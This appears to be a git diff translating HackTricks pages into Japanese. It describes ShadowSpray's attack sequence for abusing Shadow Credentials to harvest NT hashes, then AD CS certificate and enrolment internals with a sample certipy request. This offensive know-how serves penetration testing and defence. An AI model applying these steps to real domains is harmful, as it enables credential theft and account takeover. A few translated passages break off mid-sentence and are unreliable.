+ターゲットオブジェクトの**`msDS-KeyCredentialLink`**属性に新しい値を追加します: +* `/ ## [ShadowSpray](https://github.com/Dec0ne/ShadowSpray/) -In several cases, the group "Everyone" / "Authenticated Users" / "Domain Users" or some other **wide group** contains almost all the users in the domain has some `GenericWrite`/`GenericAll` DACLs **over other objects** in the domain. [**ShadowSpray**](https://github.com/Dec0ne/ShadowSpray/) tries to **abuse** therefore **ShadowCredentials** over all of them +いくつかの場合、グループ「Everyone」/「Authenticated Users」/「Domain Users」または他の**広範なグループ**には、ドメイン内のほとんどのユーザーがドメイン内の他のオブジェクトに対していくつかの`GenericWrite`/`GenericAll` DACLsを持っています。[**ShadowSpray**](https://github.com/Dec0ne/ShadowSpray/)は、それらのすべてに対して**ShadowCredentials**を**悪用**しようとします。 -It goes something like this: +以下のような手順で進みます: -1. **Login** to the domain with the supplied credentials (Or use the current session). -2. Check that the **domain functional level is 2016** (Otherwise stop since the Shadow Credentials attack won't work) -3. Gather a **list of all the objects** in the domain (users and computers) from LDAP. -4. **For every object** in the list do the following: - 1. Try to **add KeyCredential** to the object's `msDS-KeyCredentialLink` attribute. - 2. If the above is **successful**, use **PKINIT** to request a **TGT** using the added KeyCredential. - 3. If the above is **successful**, perform an **UnPACTheHash** attack to reveal the user/computer **NT hash**. - 4. If **`--RestoreShadowCred`** was specified: Remove the added KeyCredential (clean up after yourself...) -5. If **`--Recursive`** was specified: Do the **same process** using each of the user/computer **accounts we successfully owned**. +1. 供給された資格情報でドメインに**ログイン**します(または現在のセッションを使用します)。 +2. **ドメインの機能レベルが2016**であることを確認します(Shadow Credentials攻撃は機能しませんので、それ以外の場合は停止します)。 +3. LDAPからドメイン内のすべてのオブジェクト(ユーザーとコンピューター)の**リストを収集**します。 +4. リスト内の**各オブジェクト**に対して以下の操作を行います: + 1. オブジェクトの`msDS-KeyCredentialLink`属性に**KeyCredentialを追加**しようとします。 + 2. 上記が**成功した場合**、追加されたKeyCredentialを使用して**PKINIT**を使用して**TGT**を要求します。 + 3. 上記が**成功した場合**、**UnPACTheHash**攻撃を実行してユーザー/コンピューターの**NTハッシュ**を明らかにします。 + 4. **`--RestoreShadowCred`**が指定されている場合:追加されたKeyCredentialを削除します(自分自身の後始末をします...)。 + 5. **`--Recursive`**が指定されている場合:所有に成功した各ユーザー/コンピューターアカウントを使用して**同じプロセス**を実行します。 -## References +## 参考文献 * [https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) * [https://github.com/eladshamir/Whisker](https://github.com/eladshamir/Whisker) @@ -102,10 +91,10 @@ It goes something like this: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**企業を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。 diff --git a/windows-hardening/active-directory-methodology/ad-certificates.md b/windows-hardening/active-directory-methodology/ad-certificates.md index 64d990a34..7085573db 100644 --- a/windows-hardening/active-directory-methodology/ad-certificates.md +++ b/windows-hardening/active-directory-methodology/ad-certificates.md @@ -1,205 +1,183 @@ -# AD Certificates +# AD証明書
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic Information +## 基本情報 -### Parts of a certificate +### 証明書のパーツ -* **Subject** - The owner of the certificate. -* **Public Key** - Associates the Subject with a private key stored separately. -* **NotBefore and NotAfter dates** - Define the duration that the certificate is valid. -* **Serial Number** - An identifier for the certificate assigned by the CA. -* **Issuer** - Identifies who issued the certificate (commonly a CA). -* **SubjectAlternativeName** - Defines one or more alternate names that the Subject may go by. (_Check below_) -* **Basic Constraints** - Identifies if the certificate is a CA or an end entity, and if there are any constraints when using the certificate. -* **Extended Key Usages (EKUs)** - Object identifiers (OIDs) that describe **how the certificate will be used**. Also known as Enhanced Key Usage in Microsoft parlance. Common EKU OIDs include: - * Code Signing (OID 1.3.6.1.5.5.7.3.3) - The certificate is for signing executable code. - * Encrypting File System (OID 1.3.6.1.4.1.311.10.3.4) - The certificate is for encrypting file systems. - * Secure Email (1.3.6.1.5.5.7.3.4) - The certificate is for encrypting email. - * Client Authentication (OID 1.3.6.1.5.5.7.3.2) - The certificate is for authentication to another server (e.g., to AD). - * Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2) - The certificate is for use in smart card authentication. - * Server Authentication (OID 1.3.6.1.5.5.7.3.1) - The certificate is for identifying servers (e.g., HTTPS certificates). -* **Signature Algorithm** - Specifies the algorithm used to sign the certificate. -* **Signature** - The signature of the certificates body made using the issuer’s (e.g., a CA’s) private key. +* **Subject** - 証明書の所有者。 +* **Public Key** - Subjectを個別に保存された秘密鍵と関連付けます。 +* **NotBeforeとNotAfterの日付** - 証明書の有効期間を定義します。 +* **Serial Number** - CAによって割り当てられた証明書の識別子。 +* **Issuer** - 証明書を発行したものを識別します(一般的にはCA)。 +* **SubjectAlternativeName** - Subjectが使用することができる1つ以上の代替名を定義します(_以下を確認してください_)。 +* **Basic Constraints** - 証明書がCAまたはエンドエンティティであるか、証明書を使用する際の制約があるかを識別します。 +* **Extended Key Usages(EKU)** - 証明書の使用方法を説明するオブジェクト識別子(OID)。Microsoftの用語ではEnhanced Key Usageとも呼ばれます。一般的なEKU OIDには次のものがあります: +* Code Signing(OID 1.3.6.1.5.5.7.3.3)- 証明書は実行可能なコードに署名するためです。 +* Encrypting File System(OID 1.3.6.1.4.1.311.10.3.4)- 証明書はファイルシステムを暗号化するためです。 +* Secure Email(1.3.6.1.5.5.7.3.4)- 証明書は電子メールを暗号化するためです。 +* Client Authentication(OID 1.3.6.1.5.5.7.3.2)- 証明書は別のサーバー(例:ADへの認証)への認証に使用されます。 +* Smart Card Logon(OID 1.3.6.1.4.1.311.20.2.2)- 証明書はスマートカード認証に使用されます。 +* Server Authentication(OID 1.3.6.1.5.5.7.3.1)- 証明書はサーバーを識別するためです(例:HTTPS証明書)。 +* **Signature Algorithm** - 証明書に署名するために使用されるアルゴリズムを指定します。 +* **Signature** - 発行者(例:CA)の秘密鍵を使用して作成された証明書の本体の署名。 #### Subject Alternative Names -A **Subject Alternative Name** (SAN) is an X.509v3 extension. It allows **additional identities** to be bound to a **certificate**. For example, if a web server hosts **content for multiple domains**, **each** applicable **domain** could be **included** in the **SAN** so that the web server only needs a single HTTPS certificate. +**Subject Alternative Name**(SAN)はX.509v3拡張です。これにより、**証明書に追加の識別子**をバインドすることができます。たとえば、ウェブサーバーが**複数のドメインのコンテンツ**をホストする場合、**各ドメイン**が**SAN**に**含まれる**ようにして、ウェブサーバーは単一のHTTPS証明書のみを必要とします。 -By default, during certificate-based authentication, one way AD maps certificates to user accounts based on a UPN specified in the SAN. If an attacker can **specify an arbitrary SAN** when requesting a certificate that has an **EKU enabling client authentication**, and the CA creates and signs a certificate using the attacker supplied SAN, the **attacker can become any user in the domain**. +デフォルトでは、証明書ベースの認証中に、ADはSANで指定されたUPNに基づいて証明書をユーザーアカウントにマッピングします。攻撃者が**クライアント認証を有効にするEKUを持つ証明書を要求する際に任意のSANを指定**し、CAが攻撃者が指定したSANを使用して証明書を作成して署名する場合、**攻撃者はドメイン内の任意のユーザーになることができます**。 -### CAs +### CA -AD CS defines CA certificates the AD forest trusts in four locations under the container `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`, each differing by their purpose: +AD CSは、ADフォレストが信頼するCA証明書を`CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`の下に4つの場所で定義します。それぞれの目的によって異なります。 -* The **Certification Authorities** container defines **trusted root CA certificates**. These CAs are at the **top of the PKI tree hierarchy** and are the basis of trust in AD CS environments. Each CA is represented as an AD object inside the container where the **objectClass** is set to **`certificationAuthority`** and the **`cACertificate`** property contains the **bytes** of the **CA’s certificate**. Windows propagates these CA certificates to the Trusted Root Certification Authorities certificate store on **each Windows machine**. For AD to consider a certificate as **trusted**, the certificate’s trust **chain** must eventually **end** with **one of the root CA’s** defined in this container. -* The **Enrolment Services** container defines each **Enterprise CA** (i.e., CAs created in AD CS with the Enterprise CA role enabled). Each Enterprise CA has an AD object with the following attributes: - * An **objectClass** attribute to **`pKIEnrollmentService`** - * A **`cACertificate`** attribute containing the **bytes of the CA’s certificate** - * A **`dNSHostName`** property sets the **DNS host of the CA** - * A **certificateTemplates** field defining the **enabled certificate templates**. Certificate templates are a “blueprint” of settings that the CA uses when creating a certificate, and include things such as the EKUs, enrollment permissions, the certificate’s expiration, issuance requirements, and cryptography settings. We will discuss certificate templates more in detail later. +* **Certification Authorities**コンテナは**信頼されたルートCA証明書**を定義します。これらのCAはPKIツリー階層の**トップ**にあり、AD CS環境での信頼の基盤です。各CAは、**`certificationAuthority`**という**objectClass**が設定され、**`cACertificate`**プロパティには**CAの証明書のバイト**が含まれています。WindowsはこれらのCA証明書を各WindowsマシンのTrusted Root Certification Authorities証明書ストアに伝播します。ADが証明書を**信頼する**ためには、証明書の信頼**チェーン**が最終的にこのコンテナで定義された**ルートCAのいずれか**で**終了**する必要があります。 +* **Enrolment Services**コンテナは、**Enterprise CA**(つまり、AD CSでEnterprise CAロールが有効になっているCA)を定義します。各Enterprise CAには、次の属性を持つADオブジェクトがあります: +* **`pKIEnrollmentService`**に**objectClass**属性 +* **CAの証明書のバイト**を含む**`cACertificate`**属性 +* **CAのDNSホスト**を設定する**`dNSHostName`**プロパティ +* 有効な証明書テンプレートを定義する**certificateTemplates**フィールド。証明書テンプレートは、証明書の作成時にCAが使用する設定の「設計図」であり、EKU、登録許可、証明書の有効期限、発行要件、暗号設定などが含まれます。証明書テンプレートについては後ほど詳しく説明します。 {% hint style="info" %} -In AD environments, **clients interact with Enterprise CAs to request a certificate** based on the settings defined in a certificate template. Enterprise CA certificates are propagated to the Intermediate Certification Authorities certificate store on each Windows machine -{% endhint %} +AD環境では、**クライアントは証明書テンプレートで定義され +* **AIA**(Authority Information Access)コンテナには、中間およびクロスCAのADオブジェクトが格納されています。**中間CAはルートCAの「子」**であり、このコンテナは**証明書チェーンの検証**を支援するために存在します。認証機関コンテナと同様に、各**CAはADオブジェクトとして表され**、オブジェクトクラス属性がcertificationAuthorityに設定され、**`cACertificate`**プロパティには**CAの証明書のバイト**が含まれています。これらのCAは、Windowsマシンの中間認証機関証明書ストアに伝播されます。 -* The **NTAuthCertificates** AD object defines CA certificates that enable authentication to AD. This object has an **objectClass** of **`certificationAuthority`** and the object’s **`cACertificate`** property defines an array of **trusted CA certificates**. AD-joined Windows machines propagate these CAs to the Intermediate Certification Authorities certificate store on each machine. **Client** applications can **authenticate** to AD using a certificate only if one the **CAs defined by the NTAuthCertificates** object has **signed** the authenticating client’s certificate. -* The **AIA** (Authority Information Access) container holds the AD objects of intermediate and cross CAs. **Intermediate CAs are “children” of root CAs** in the PKI tree hierarchy; as such, this container exists to aid in **validating certificate chains**. Like the Certification Authorities container, each **CA is represented as an AD object** in the AIA container where the objectClass attribute is set to certificationAuthority and the **`cACertificate`** property contains the **bytes** of the **CA’s certificate**. These CAs are propagated to the Intermediate Certification Authorities certificate store on each Windows machine. - -### Client Certificate Request Flow +### クライアント証明書リクエストのフロー
-It's the process to **obtain a certificate** from AD CS. At a high level, during enrolment clients first **find an Enterprise CA** based on the **objects in the Enrolment Services** container discussed above. +これはAD CSから証明書を取得するプロセスです。大まかに言うと、登録時にクライアントはまず上記で説明した**登録サービスのオブジェクト**に基づいて**エンタープライズCAを見つけます**。 -1. Clients then generate a **public-private key pair** and -2. place the public key in a **certificate signing request (CSR)** message along with other details such as the subject of the certificate and the **certificate template name**. Clients then **sign the CSR with their private key** and send the CSR to an Enterprise CA server. -3. The **CA** server checks if the client **can request certificates**. If so, it determines if it will issue a certificate by looking up the **certificate template** AD object specified in the CSR. The CA will check if the certificate template AD object’s **permissions allow** the authenticating account to **obtain a certificate**. -4. If so, the **CA generates a certificate** using the “blueprint” settings defined by the **certificate template** (e.g., EKUs, cryptography settings, and issuance requirements) and using the other information supplied in the CSR if allowed by the certificate’s template settings. The **CA signs the certificate** using its private key and then returns it to the client. +1. クライアントは**公開-秘密鍵ペア**を生成し、 +2. クライアントは、証明書のサブジェクトや**証明書テンプレート名**などの他の詳細と共に、**証明書署名リクエスト(CSR)**メッセージに公開鍵を配置します。クライアントはその後、CSRをプライベートキーで**署名**し、CSRをエンタープライズCAサーバーに送信します。 +3. **CA**サーバーは、クライアントが**証明書を要求できるかどうか**をチェックします。そうであれば、CSRで指定された**証明書テンプレート**ADオブジェクトを参照して、証明書テンプレートのADオブジェクトの**アクセス許可が**認証アカウントが**証明書を取得できるかどうか**を確認します。 +4. もし許可されていれば、**CAは証明書を生成**し、証明書テンプレートで定義された「設計図」の設定(例:EKU、暗号化設定、発行要件)を使用し、CSRで提供された他の情報を証明書のテンプレート設定で許可されている場合に使用します。**CAはプライベートキーで証明書に署名**し、それをクライアントに返します。 -### Certificate Templates +### 証明書テンプレート -AD CS stores available certificate templates as AD objects with an **objectClass** of **`pKICertificateTemplate`** located in the following container: +AD CSは、次のコンテナにある**`pKICertificateTemplate`**という**objectClass**を持つADオブジェクトとして利用可能な証明書テンプレートを保存します。 `CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` -An AD certificate template object’s attributes **define its settings, and its security descriptor controls** what **principals can enrol** in the certificate or **edit** the certificate template. +AD証明書テンプレートオブジェクトの属性は、その設定を定義し、セキュリティ記述子は証明書を**登録することができる主体**または証明書テンプレートを**編集することができる主体**を制御します。 -The **`pKIExtendedKeyUsage`** attribute on an AD certificate template object contains an **array of OIDs** enabled in the template. These EKU OIDs affect **what the certificate can be used for.** You can find a [list of possible OIDs here](https://www.pkisolutions.com/object-identifiers-oid-in-pki/). +AD証明書テンプレートオブジェクトの**`pKIExtendedKeyUsage`**属性には、テンプレートで有効になっている**OIDの配列**が含まれています。これらのEKU OIDは、証明書の**使用目的に影響を与えます**。[ここで可能なOIDのリストを見つけることができます](https://www.pkisolutions.com/object-identifiers-oid-in-pki/)。 -#### Authentication OIDs +#### 認証用のOID -* `1.3.6.1.5.5.7.3.2`: Client Authentication -* `1.3.6.1.5.2.3.4`: PKINIT Client Authentication (needed to be added manually) -* `1.3.6.1.4.1.311.20.2.2`: Smart Card Logon -* `2.5.29.37.0`: Any purpose -* `(no EKUs)`: SubCA -* An additional EKU OID that we found we could abuse is the Certificate Request Agent OID (`1.3.6.1.4.1.311.20.2.1`). Certificates with this OID can be used to **request certificates on behalf of another user** unless specific restrictions are put in place. +* `1.3.6.1.5.5.7.3.2`:クライアント認証 +* `1.3.6.1.5.2.3.4`:PKINITクライアント認証(手動で追加する必要があります) +* `1.3.6.1.4.1.311.20.2.2`:スマートカードログオン +* `2.5.29.37.0`:任意の目的 +* (EKUなし):サブCA +* 追加の悪用できるEKU OIDは、証明書リクエストエージェントOID(`1.3.6.1.4.1.311.20.2.1`)です。このOIDを持つ証明書は、特定の制限が設定されていない限り、他のユーザーの代わりに証明書を要求するために使用できます。 -## Certificate Enrolment +## 証明書の登録 -An admin needs to **create the certificate** template and then an **Enterprise CA “publishes”** the template, making it available to clients to enrol in. AD CS specifies that a certificate template is enabled on an Enterprise CA by **adding the template’s name to the `certificatetemplates` field** of the AD object. +管理者はまず証明書テンプレートを**作成**し、その後エンタープライズCAがテンプレートを**「公開」**して、クライアントが登録できるようにします。AD CSでは、証明書テンプレートがエンタープライズCAで有効になるように、テンプレートの名前をADオブジェクトの`certificatetemplates`フィールドに追加することで指定されます。
{% hint style="warning" %} -AD CS defines enrolment rights - which **principals can request** a certificate – using two security descriptors: one on the **certificate template** AD object and another on the **Enterprise CA itself**.\ -A client needs to be granted in both security descriptors in order to be able to request a certificate. +AD CSは、証明書を**要求できる主体**を定義するために、証明書テンプレートADオブジェクトとエンタープライズCA自体の2つのセキュリティ記述子を使用します。\ +証明書を要求できるためには、クライアントは両方のセキュリティ記述子に付与される必要があります。 {% endhint %} -### Certificate Templates Enrolment Rights +### 証明書テンプレートの登録権限 -* **The ACE grants a principal the Certificate-Enrollment extended right**. The raw ACE grants principal the `RIGHT_DS_CONTROL_ACCESS45` access right where the **ObjectType** is set to `0e10c968-78fb-11d2-90d4-00c04f79dc5547`. This GUID corresponds with the **Certificate-Enrolment** extended right. -* **The ACE grants a principal the Certificate-AutoEnrollment extended right**. The raw ACE grants principal the `RIGHT_DS_CONTROL_ACCESS48` access right where the **ObjectType** is set `to a05b8cc2-17bc-4802-a710-e7c15ab866a249`. This GUID corresponds with the **Certificate-AutoEnrollment** extended right. -* **An ACE grants a principal all ExtendedRights**. The raw ACE enables the `RIGHT_DS_CONTROL_ACCESS` access right where the **ObjectType** is set to `00000000-0000-0000-0000-000000000000`. This GUID corresponds with **all extended rights**. -* **An ACE grants a principal FullControl/GenericAll**. The raw ACE enables the FullControl/GenericAll access right. +* **ACEは主体にCertificate-Enrollment拡張権限を付与**します。raw ACEは、**ObjectType**が`0e10c968-78fb-11d2-90d4-00c04f79dc5547`に設定された`RIGHT_DS_CONTROL_ACCESS45`アクセス権を主体に付与します。このGUIDは**Certificate-Enrollment**拡張権限に対応します。 +* **ACEは主体にCertificate-AutoEnrollment拡張権限を付与**します。raw ACEは、**ObjectType**が`a05b8cc2-17bc-4802-a710-e7c15ab866a249`に設定された`RIGHT_DS_CONTROL_ACCESS48`アクセス権を主体に付与します。このGUIDは**Certificate-AutoEnrollment**拡張権限に対応します。 +* **ACEは主体にすべてのExtendedRightsを付与**します。raw ACEは、**ObjectType**が`00000000-0000-0000-0000-000000000000`に設定された`RIGHT_DS_CONTROL_ACCESS`アクセス権を有効にします。このGUIDは**すべての拡張権限**に対応します。 +* **ACEは主体にFullControl/GenericAllを付与**します。raw ACEは、FullControl/GenericAllアクセス権を有効にします。 -### Enterprise CA Enrolment Rights +### エンタープライズCAの登録権限 -The **security descriptor** configured on the **Enterprise CA** defines these rights and is **viewable** in the Certificate Authority MMC snap-in `certsrv.msc` by right clicking on the CA → Properties → Security. +エンタープライズCAに設定された**セキュリティ記述子**は、証明書機関MMCスナップイン`certsrv.msc`でCAを右クリックしてプロパティ→セキュリティを表示することで確認できます。
-This ultimately ends up setting the Security registry value in the key **`HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration`** on the CA server. We have encountered several AD CS servers that grant low-privileged users remote access to this key via remote registry: +これにより、CAサーバーの**`HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration`**キーのSecurityレジストリ値が設定されます。私たちは、いくつかのAD CSサーバーで、低特権ユーザーがリモートレジストリを介してこのキーに対するリモートアクセス権限を付与されていることを確認しました。
-Low-privileged users can also **enumerate this via DCOM** using the `ICertAdminD2` COM interface’s `GetCASecurity` method. However, normal Windows clients need to install the Remote Server Administration Tools (RSAT) to use it since the COM interface and any COM objects that implement it are not present on Windows by default. +低特権ユーザーは、`ICertAdminD2` COMインターフェースの`GetCASecurity`メソッドを使用して、DCOMを介してこれを列挙することもできます。ただし、通常のWindowsクライアントは、COMインターフェースとそれを実装するCOMオブジェク +### 発行要件 -### Issuance Requirements +証明書を取得できる人を制御するために、他の要件が存在する場合があります。 -Other requirements could be in place to control who can get a certificate. +#### マネージャーの承認 -#### Manager Approval - -**CA certificate manager approval** results in the certificate template setting the `CT_FLAG_PEND_ALL_REQUESTS` (0x2) bit on the AD object’s `msPKI-EnrollmentFlag` attribute. This puts all **certificate requests** based on the template into the **pending state** (visible in the “Pending Requests” section in `certsrv.msc`), which requires a certificate manager to **approve or deny** the request before the certificate is issued: +**CA証明書マネージャーの承認**により、証明書テンプレートはADオブジェクトの`msPKI-EnrollmentFlag`属性の`CT_FLAG_PEND_ALL_REQUESTS`(0x2)ビットを設定します。これにより、テンプレートに基づくすべての**証明書リクエスト**が**保留状態**になります(`certsrv.msc`の「保留中のリクエスト」セクションで表示されます)。証明書が発行される前に、証明書マネージャーがリクエストを**承認または拒否**する必要があります。
-#### Enrolment Agents, Authorized Signatures, and Application Policies +#### 登録エージェント、承認署名、およびアプリケーションポリシー -**This number of authorized signatures** and the **Application policy**. The former controls the **number of signatures required** in the CSR for the CA to accept it. The latter defines the **EKU OIDs that the CSR signing certificate must have**. +**承認署名の数**と**アプリケーションポリシー**が設定されることもあります。前者は、CAが受け入れるためにCSRに必要な**署名の数**を制御します。後者は、CSRの署名証明書が持っている必要のある**EKU OID**を定義します。 -A common use for these settings is for **enrolment agents**. An enrolment agent is an AD CS term given to an entity that can **request certificates on behalf of another user**. To do so, the CA must issue the enrolment agent account a certificate containing at least the **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1). Once issued, the enrolment agent can then **sign CSRs and request certificates on behalf of other users**. The CA will **issue** the enrolment agent a **certificate** as **another user** only under the following non-comprehensive set of **conditions** (implemented primarily in default policy module `certpdef.dll`): +これらの設定の一般的な使用法は、**登録エージェント**です。登録エージェントは、他のユーザーの代わりに証明書を**リクエストできる**AD CS用語です。そのためには、CAは登録エージェントアカウントに、少なくとも**証明書リクエストエージェントEKU**(OID 1.3.6.1.4.1.311.20.2.1)を含む証明書を発行する必要があります。発行された後、登録エージェントは他のユーザーのためにCSRに署名し、証明書をリクエストすることができます。CAは、以下の非網羅的な一連の**条件**(主にデフォルトのポリシーモジュール`certpdef.dll`で実装されています)の下で、登録エージェントに**別のユーザーとして証明書**を発行します。 -* The Windows user authenticating to the CA has enrolment rights to the target certificate template. -* If the certificate template’s schema version is 1, the CA will require signing certificates to have the Certificate Request Agent OID before issuing the certificate. The template’s schema version is the specified in its AD object’s msPKI-Template-Schema-Version property. -* If the certificate template’s schema version is 2: - * The template must set the “This number of authorized signatures” setting and the specified number of enrolment agents must sign the CSR (the template’s mspkira-signature AD attribute defines this setting). In other words, this setting specifies how many enrollment agents must sign a CSR before the CA even considers issuing a certificate. - * The template’s “Application policy” issuance restriction must be set to “Certificate Request Agent”. +* CAに認証するWindowsユーザーが、対象の証明書テンプレートに対する登録権限を持っている場合。 +* 証明書テンプレートのスキーマバージョンが1の場合、CAは証明書の発行前に署名証明書に証明書リクエストエージェントOIDが必要です。テンプレートのスキーマバージョンは、ADオブジェクトのmsPKI-Template-Schema-Versionプロパティで指定されます。 +* 証明書テンプレートのスキーマバージョンが2の場合: +* テンプレートは「承認署名の数」設定を行い、指定された数の登録エージェントがCSRに署名する必要があります(テンプレートのmspkira-signature AD属性がこの設定を定義します)。つまり、この設定は、CAが証明書を発行する前にいくつの登録エージェントがCSRに署名する必要があるかを指定します。 +* テンプレートの「アプリケーションポリシー」発行制限は「証明書リクエストエージェント」に設定する必要があります。 -### Request Certificates +### 証明書のリクエスト -1. Using the Windows **Client Certificate Enrolment Protocol** (MS-WCCE), a set of Distributed Component Object Model (DCOM) interfaces that interact with various AD CS features including enrolment. The **DCOM server is enabled on all AD CS servers by default** and is the most common method by which we have seen clients request certificates. -2. Via the **ICertPassage Remote Protocol** (MS-ICPR), a **remote procedure call** (RPC) protocol can operate over named pipes or TCP/IP. -3. Accessing the **certificate enrolment web interface**. To use this, the ADCS server needs to have the **Certificate Authority Web Enrolment role installed**. Once enabled, a user can navigate to the IIS-hosted ASP web enrolment application running at `http:///certsrv/`. - * `certipy req -ca 'corp-DC-CA' -username john@corp.local -password Passw0rd -web -debug` -4. Interacting with a **certificate enrolment service** (CES). To use this, a server needs to have the **Certificate Enrolment Web Service role installed**. Once enabled, a user can access the web service at `https:///_CES_Kerberos/service.svc` to request certificates. This service works in tandem with a certificate enrolment policy (CEP) service (installed via the Certificate Enrolment Policy Web Service role), which clients use to **list certificate templates** at the URL `https:///ADPolicyProvider_CEP_Kerberos/service.svc`. Underneath, the certificate enrolment and policy web services implement MS-WSTEP and MS-XCEP, respectively (two SOAP-based protocols). -5. Using the **network device enrolment service**. To use this, a server needs to have the **Network Device Enrolment Service role installed**, which allows clients (namely network devices) to obtain certificates via the **Simple Certificate Enrolment Protocol** (SCEP). Once enabled, an administrator can obtain a one-time password (OTP) from the URL `http:///CertSrv/mscep_admin/`. The administrator can then provide the OTP to a network device and the device will use the SCEP to request a certificate using the URL `http://NDESSERVER/CertSrv/mscep/`. +1. Windowsの**クライアント証明書登録プロトコル**(MS-WCCE)を使用して、さまざまなAD CSの機能(登録を含む)と対話する一連の分散コンポーネントオブジェクトモデル(DCOM)インターフェースを介して証明書をリクエストします。**DCOMサーバーはデフォルトですべてのAD CSサーバーで有効になっており**、クライアントが証明書をリクエストする最も一般的な方法です。 +2. **ICertPassageリモートプロトコル**(MS-ICPR)を介した**リモートプロシージャコール**(RPC)プロトコルは、名前付きパイプまたはTCP/IP上で動作することができます。 +3. **証明書登録Webインターフェース**にアクセスします。これを使用するには、ADCSサーバーに**証明書機関Web登録ロール**をインストールする必要があります。有効になると、ユーザーは`http:///certsrv/`で実行されているIISホストされたASP Web登録アプリケーションに移動できます。 +* `certipy req -ca 'corp-DC-CA' -username john@corp.local -password Passw0rd -web -debug` +4. **証明書登録サービス**(CES)との対話。これを使用するには、サーバーに**証明書登録Webサービスロール**をインストールする必要があります。有効になると、ユーザーは`https:///_CES_Kerberos/service.svc`でWebサービスにアクセスして証明書をリクエストできます。このサービスは、証明書登録ポリシー(証明書登録ポリシーウェブサービスロールを介してインストールされる)と連携して動作し、クライアントはURL `https:///ADPolicyProvider_CEP_Kerberos/service.svc` で証明書テンプレートをリストするために使用します。証明書登録およびポリシーウェブサービスは、それぞれMS-WSTEPおよびMS-XCEP(SOAPベースのプロトコル)を実装しています。 +5. 